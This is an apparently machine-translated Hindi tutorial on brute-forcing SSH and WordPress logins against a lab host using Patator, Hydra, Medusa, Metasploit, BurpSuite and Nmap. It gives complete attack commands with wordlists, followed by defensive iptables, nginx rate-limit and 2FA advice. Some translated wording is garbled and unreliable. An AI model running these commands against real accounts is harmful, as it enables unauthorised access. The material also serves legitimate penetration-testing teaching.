काली लिनक्स का उपयोग करते हुए जानवर बल के हमले

Brute-Force (Brute Force Attack) गणितीय समस्याओं को हल करने की एक विधि है, जिसकी जटिलता सभी संभावित समाधानों की संख्या पर निर्भर करती है। ब्रूट-बल शब्द का उपयोग आमतौर पर हैकर हमलों के संदर्भ में किया जाता है जब कोई हमलावर किसी खाते या सेवा के लिए उपयोगकर्ता नाम / पासवर्ड लेने की कोशिश करता है।

उन उपकरणों पर विचार करें जिनका उपयोग SSH और WEB सेवाओं पर काली लिनक्स (Patator, Medusa, Hydra, Metasploit), और साथ ही BurpSuite में पाशविक बल के हमलों को करने के लिए किया जा सकता है।

इस लेख के तहत प्रदान की गई सभी सामग्री केवल शैक्षिक उपयोग के लिए अभिप्रेत है। गैरकानूनी और अवैध में सामग्री का उपयोग निषिद्ध है।

पाशविक-बल ssh

उदाहरण के लिए, परीक्षण मशीन 192.168.60.50 लें और SSH द्वारा उपयोगकर्ता परीक्षण का पासवर्ड खोजने का प्रयास करें। हम मानक रॉकयौ.टैक्स शब्दकोश से लोकप्रिय पासवर्ड का उपयोग करेंगे।

---

Patator
Patator का उपयोग करके पासवर्ड चुनने के लिए, कमांड का उपयोग करें:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

जहां:
ssh_login - आवश्यक मॉड्यूल
मेजबान हमारा लक्ष्य है
उपयोगकर्ता - उपयोगकर्ता लॉगिन जिसके लिए कई चयन के लिए लॉगिन के साथ पासवर्ड या फ़ाइल का चयन किया जाता है
पासवर्ड - पासवर्ड के साथ शब्दकोश
-x अनदेखा करें: mesg = 'प्रमाणीकरण विफल' - कमांड इस संदेश के साथ एक पंक्ति प्रदर्शित नहीं करता है। फ़िल्टरिंग पैरामीटर को व्यक्तिगत रूप से चुना जाता है।

---

हीड्रा
हाइड्रा का उपयोग करके पासवर्ड का चयन करने के लिए, कमांड निष्पादित करें:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

जहां:
-V - पुनरावृत्ति के दौरान उपयोगकर्ता नाम + पासवर्ड की एक जोड़ी दिखाएं
-f - निर्दिष्ट लॉगिन के लिए पासवर्ड मिलते ही रुक जाएं
पासवर्ड के साथ शब्दकोश में पथ -
ssh: //192.168.60.50 - पीड़ित का सेवा संकेत और आईपी पता

---

मेडुसा
मेडुसा का उपयोग करके पासवर्ड चुनने के लिए, कमांड निष्पादित करें:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

जहां:
-h - पीड़ित आईपी पता
-उ - लॉगिन
-प - शब्दकोश मार्ग
-एम - मॉड्यूल चयन
-f - एक वैध उपयोगकर्ता नाम / पासवर्ड जोड़ी खोजने के बाद बंद करो
-v - चयन प्रक्रिया के दौरान स्क्रीन पर संदेशों के प्रदर्शन को सेट करना

---

Metasploit
हम SSH पर पाशविक बल के हमलों का संचालन करने के लिए एक उपकरण की खोज करेंगे:
search ssh_login और उत्तर मिला:



हम मॉड्यूल का उपयोग करते हैं:

use auxiliary/scanner/ssh/ssh_login

आवश्यक पैरामीटर देखने के लिए, show options कमांड का उपयोग show options । हमारे लिए यह है:
rhosts - पीड़ित आईपी पता
बंदरगाह - बंदरगाह
उपयोगकर्ता नाम - SSH लॉगिन
userpass_file - शब्दकोश के लिए पथ
stop_on_success - जैसे ही उपयोगकर्ता नाम / पासवर्ड जोड़ा जाता है, वैसे ही रुक जाएं
धागे - धागे की संख्या



आवश्यक मापदंडों का संकेत " सेट " कमांड के माध्यम से किया जाता है।

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22

आवश्यक पैरामीटर निर्दिष्ट करने के बाद, हम " रन " कमांड टाइप करते हैं और प्रतीक्षा करते हैं।

विपक्ष

फ़ायरवॉल का उपयोग करके स्थापित कनेक्शनों की संख्या को सीमित करें। उदाहरण iptables सेटअप:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset ।

इस तरह का नियम प्रत्येक आईपी पते के लिए एसएसएच तक पहुंच को प्रति सेकंड 1 कनेक्शन तक सीमित कर देगा, जिससे खोज बहुत जटिल हो जाएगी। इसके अलावा, एक प्रभावी समाधान दो-कारक प्रमाणीकरण (उदाहरण के लिए, ईटन का उपयोग करके) या एक प्रमुख जोड़ी का उपयोग करके प्रमाणीकरण हो सकता है, साथ ही आईपी पते के आधार पर एसीएल का उपयोग भी हो सकता है।

जानवर बल वर्डप्रेस

आइए एक और उदाहरण देखें - वेब फ़ॉर्म प्राधिकरण विंडो के लिए पासवर्ड का चयन करना।



उदाहरण के लिए, हम वर्डप्रेस व्यवस्थापक खाते से पासवर्ड का चयन करेंगे।

---

BurpSuite
सबसे पहले, हमें यह समझने की आवश्यकता है कि प्राधिकरण प्रक्रिया कैसे होती है। इसके लिए हम BurpSuite का उपयोग करेंगे। हमें किसी भी पासवर्ड के साथ लॉग इन करने की कोशिश करने की आवश्यकता है और यह देखने के लिए कि बर्पसुइट के माध्यम से क्या अनुरोध चलते हैं।



खैर, हमने प्राधिकरण के लिए एक POST अनुरोध देखा, हम इसके साथ काम करेंगे।
BODY इंगित करता है कि कौन सा लॉगिन और पासवर्ड चेक किया गया था, जिसका अर्थ है कि हम उन मूल्यों को स्थान देने का प्रयास कर सकते हैं जिनकी हमें अपनी आवश्यकता है।
हम घुसपैठिये को यह अनुरोध देते हैं और वहाँ हम हमले के लिए आवश्यक मापदंडों का चयन करते हैं। पेलोड पोज़िशन आइटम में, हम हमले के प्रकार को स्नाइपर के रूप में छोड़ देते हैं, लेकिन सत्यापन के लिए हम केवल pwd पैरामीटर छोड़ते हैं। इस प्रकार, एक हमला केवल इस पैरामीटर को बदल देगा।



हम आवश्यक शब्दकोश लोड करते हैं और हमले शुरू करते हैं।



वेब एप्लिकेशन के व्यवहार से, हम देखते हैं कि गलत पासवर्ड प्रतिक्रिया कोड 200 को वापस कर देता है। शब्दकोश खोजने के बाद, हम देखते हैं कि पासवर्ड में से एक ने कोड 302 के साथ उत्तर दिया - यह सही है।



पटसन, हाइड्रा, मेडुसा इत्यादि का उपयोग करते समय यह ब्रूट फोर्स विधि की तुलना में अधिक समय लेता है। भले ही हमने एक छोटा शब्दकोश लिया, लेकिन बर्पसुइट ने लगभग 40 मिनट के लिए शब्दकोश में पुनरावृति की।

---

हीड्रा
आइए हाइड्रा का उपयोग करके पासवर्ड खोजने का प्रयास करें।
जैसा कि हम पहले से ही जानते हैं, यदि प्राधिकरण गलत है, तो कोड 200 वापस आ जाता है, और यदि सफल होता है, तो वह 302 देता है। आइए इस जानकारी का उपयोग करने का प्रयास करें।
शुरू करने के लिए, कमांड का उपयोग करें:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

यहां हम आवश्यक मापदंडों को इंगित करते हैं:
-एल - उपयोगकर्ता नाम
- पासवर्ड के साथ शब्दकोश
-t - थ्रेड्स की संख्या
http-post-form - प्रकार का प्रकार, हमारे पास POST है।
/wp-login.php प्राधिकरण पृष्ठ का URL है
^ USER ^ - पता चलता है कि उपयोगकर्ता नाम कहां स्थानापन्न है
^ PASS ^ - शब्दकोष से पासवर्ड को बदलने के लिए दिखाता है
एस = 302 - एक संकेत है जो हाइड्रा पर भरोसा करने का जवाब देता है। हमारे मामले में, जवाब सफल प्राधिकरण पर 302 है।

---

Patator
जैसा कि हम पहले से ही जानते हैं, यदि प्राधिकरण विफल हो जाता है, तो कोड 200 वापस आ जाता है, और यदि सफल होता है, तो यह 302 देता है। हम हाइड्रा के साथ भी इसी सिद्धांत का उपयोग करेंगे:
लॉन्च कमांड द्वारा किया जाता है:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - ब्रूट-बल http हमले के लिए मॉड्यूल
url - प्राधिकरण के साथ पृष्ठ का पता
FILE0 - पासवर्ड के साथ शब्दकोश में पथ
शरीर - जानकारी जो प्राधिकरण के दौरान POST अनुरोध में प्रसारित होती है
-t - थ्रेड्स की संख्या
-x - इस मामले में, हमने कमांड को कोड 200 के साथ एक पैरामीटर वाले संदेश लाइनों को प्रदर्शित नहीं करने के लिए निर्दिष्ट किया
accept_cookie - कुकी पैरामीटर को सहेजें और इसे अगले अनुरोध पर पास करें
नतीजतन, हम एक पासवर्ड खोजने में कामयाब रहे।

---

Nmap
यदि आप http-wordpress-brute स्क्रिप्ट का उपयोग इसी तर्क के साथ करते हैं, तो अन्य बातों के अलावा, Nmap उपयोगिता वेब प्राधिकरण रूपों के लिए पासवर्डों के चयन की अनुमति देती है:
--स्क्रिप्ट-आर्ग्स - तर्क जोड़ना
user or userdb - लॉगिन के साथ लॉगिन या फ़ाइल
पास या पासबर्ड - एक पासवर्ड या शब्दकोश निर्दिष्ट करें
धागा - धागे की संख्या
firstonly = true - पहले सही पासवर्ड के बाद परिणाम प्रदर्शित करें

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

विपक्ष

IPtables (SSH के समान) और nginx का उपयोग करके वेब एप्लिकेशन पर सीमा-बल (ब्रूट-फोर्स अटैक) को सीमित करता है। ऐसा करने के लिए, एक सीमा क्षेत्र बनाएं:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

और इसका उपयोग करें:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

ऐसी सेटिंग्स एक आईपी पते से अनुरोधों की संख्या को 40 प्रति सेकंड तक सीमित कर देंगी।

आप निम्न विधियों का उपयोग करके गणना के कार्य को जटिल कर सकते हैं:
- संरक्षित सेवा को कॉल की संख्या को सीमित करने के लिए एक फ़ायरवॉल और अन्य सॉफ़्टवेयर का उपयोग। आप एक लेख में इस तरह के हमलों (वितरित लोगों सहित) का पता लगाने के लिए मशीन सीखने का उपयोग करने के तरीके के बारे में पढ़ सकते हैं।
- उपकरण का उपयोग जो कुंजी की शुद्धता के त्वरित सत्यापन को रोकता है (उदाहरण के लिए, कैप्चा)।

निष्कर्ष

इस लेख में, हमने कुछ लोकप्रिय उपकरणों की सतही रूप से जांच की है। आप इन दिशानिर्देशों का पालन करके पासवर्ड अनुमान के जोखिम को कम कर सकते हैं:
- पासवर्ड प्रतिरोधी पासवर्ड का उपयोग करें;
- व्यक्तिगत जानकारी का उपयोग करके पासवर्ड न बनाएं, उदाहरण के लिए: जन्म तिथि या नाम + जन्म तिथि या मोबाइल फोन;
- नियमित रूप से पासवर्ड बदलें;
- सभी खातों पर अद्वितीय पासवर्ड का उपयोग करें।

कुछ लोग ऐसी सिफारिशों (साथ ही सुरक्षित वेब विकास के लिए सिफारिशों) का पालन करते हैं, इसलिए आपको विभिन्न सॉफ़्टवेयर समाधानों का उपयोग करने की आवश्यकता होती है जो आपको अनुमति देते हैं:
- आईपी पते द्वारा कनेक्शन को सीमित करें, या, यदि यह संभव नहीं है, तो सेवा से कनेक्शन की एक साथ संख्या को सीमित करें (iptables, nginx और अन्य का उपयोग करके);
- दो-कारक प्रमाणीकरण का उपयोग करें;
- ऐसे हमलों का पता लगाएं और कोलम्बिया, डब्ल्यूएएफ या अन्य का उपयोग करके ब्लॉक करें (उदाहरण के लिए, fail2ban)।